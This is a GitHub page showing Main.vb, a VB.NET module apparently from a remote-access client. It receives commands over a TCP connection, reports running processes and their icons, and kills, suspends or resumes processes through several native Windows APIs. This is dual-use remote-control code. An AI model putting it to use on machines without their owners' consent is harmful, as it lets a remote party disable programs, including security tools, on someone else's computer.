This repository has been archived by the owner on May 29, 2022. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 35
/
Main.vb
207 lines (146 loc) · 5.45 KB
/
Main.vb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
Imports System.Net.Sockets
Imports System.IO
Imports System.Drawing
Imports System.Drawing.Imaging
Imports PacketLib
Imports PacketLib.Packet
Imports System.Threading.Tasks
Imports System.Collections.Generic
Imports System.Diagnostics
Public Class Main
Public Shared Sub Main(ByVal K As TcpClient, ByVal Param_Tab As Object())
Dim CastParam As Packet_Subject = CType(Param_Tab(0), Packet_Subject)
Select Case CastParam
Case Packet_Subject.RETRIEVE_TASKS
Tasks_Retrieving(K)
Case Packet_Subject.KILL_TASK
' Await
' Task.Run(Sub() )
TK(K, Param_Tab(1).ToString)
Case Packet_Subject.PAUSE_TASK
' Await
' Task.Run(Sub())
PT(K, Param_Tab(1).ToString)
Case Packet_Subject.RESUME_TASK
' Await
' Task.Run(Sub())
RT(K, Param_Tab(1).ToString)
End Select
End Sub
Public Shared Sub Tasks_Retrieving(ByVal k As TcpClient)
Dim O As New List(Of Object())
Dim P As New PacketMaker With {
.Type_Packet = PacketType.TASKS
}
Dim jk As Process() = Process.GetProcesses
For Each h In jk
Try
If File.Exists(h.MainModule.FileName) Then
Dim P_details As New List(Of Object)
Dim i As System.Drawing.Icon = System.Drawing.Icon.ExtractAssociatedIcon(h.MainModule.FileName)
Dim stream As MemoryStream = New MemoryStream()
Dim azo As Bitmap = i.ToBitmap
azo.Save(stream, ImageFormat.Png)
P_details.Add(h.ProcessName)
P_details.Add(stream.ToArray())
O.Add(P_details.ToArray)
End If
Catch ex As Exception
Dim P_details As New List(Of Object)
P_details.Add(h.ProcessName)
O.Add(P_details.ToArray)
End Try
GC.Collect()
GC.WaitForPendingFinalizers()
Next
GC.Collect()
GC.WaitForPendingFinalizers()
P.Misc = New Object() {Packet_Subject.RETRIEVE_TASKS, O.ToArray}
Dim Send As New Packet_Send With {
.Packet = P
}
SyncLock k
Send.Send(k.GetStream)
End SyncLock
End Sub
Public Shared Sub TK(ByVal K As TcpClient, ByVal Task_Name As String)
Dim P As New PacketMaker With {
.Type_Packet = PacketType.TASKS
}
For Each H As Process In Process.GetProcesses
If H.ProcessName = Task_Name Then
Try
NativeAPI.SendMessage(H.MainWindowHandle, NativeAPI.WM_Message.WM_SYSCOMMAND, NativeAPI.SC_Message.SC_CLOSE, 0)
P.Misc = New Object() {Packet_Subject.KILL_TASK, Task_Name, True}
Dim Send As New Packet_Send With {
.Packet = P
}
SyncLock K
Send.Send(K.GetStream)
End SyncLock
Catch ex As Exception
End Try
Try
NativeAPI.TerminateProcess(H.Handle, 0)
P.Misc = New Object() {Packet_Subject.KILL_TASK, Task_Name, True}
Dim Send As New Packet_Send With {
.Packet = P
}
SyncLock K
Send.Send(K.GetStream)
End SyncLock
Catch ex As Exception
End Try
Try
NativeAPI.ZwTerminateProcess(H.Handle, 0)
P.Misc = New Object() {Packet_Subject.KILL_TASK, Task_Name, True}
Dim Send As New Packet_Send With {
.Packet = P
}
SyncLock K
Send.Send(K.GetStream)
End SyncLock
Catch ex As Exception
End Try
Try
NativeAPI.NtTerminateProcess(H.Handle, 0)
Dim Send As New Packet_Send With {
.Packet = P
}
SyncLock K
Send.Send(K.GetStream)
End SyncLock
Catch ex As Exception
End Try
End If
Next
End Sub
Public Shared Sub PT(ByVal K As TcpClient, ByVal Task_Name As String)
For Each H As Process In Process.GetProcesses
If H.ProcessName = Task_Name Then
Try
NativeAPI.NtSuspendProcess(H.Handle)
Catch ex As Exception
End Try
Try
NativeAPI.ZwSuspendProcess(H.Handle)
Catch ex As Exception
End Try
End If
Next
End Sub
Public Shared Sub RT(ByVal K As TcpClient, ByVal Task_Name As String)
For Each H As Process In Process.GetProcesses
If H.ProcessName = Task_Name Then
Try
NativeAPI.NtResumeProcess(H.Handle)
Catch ex As Exception
End Try
Try
NativeAPI.ZwResumeProcess(H.Handle)
Catch ex As Exception
End Try
End If
Next
End Sub
End Class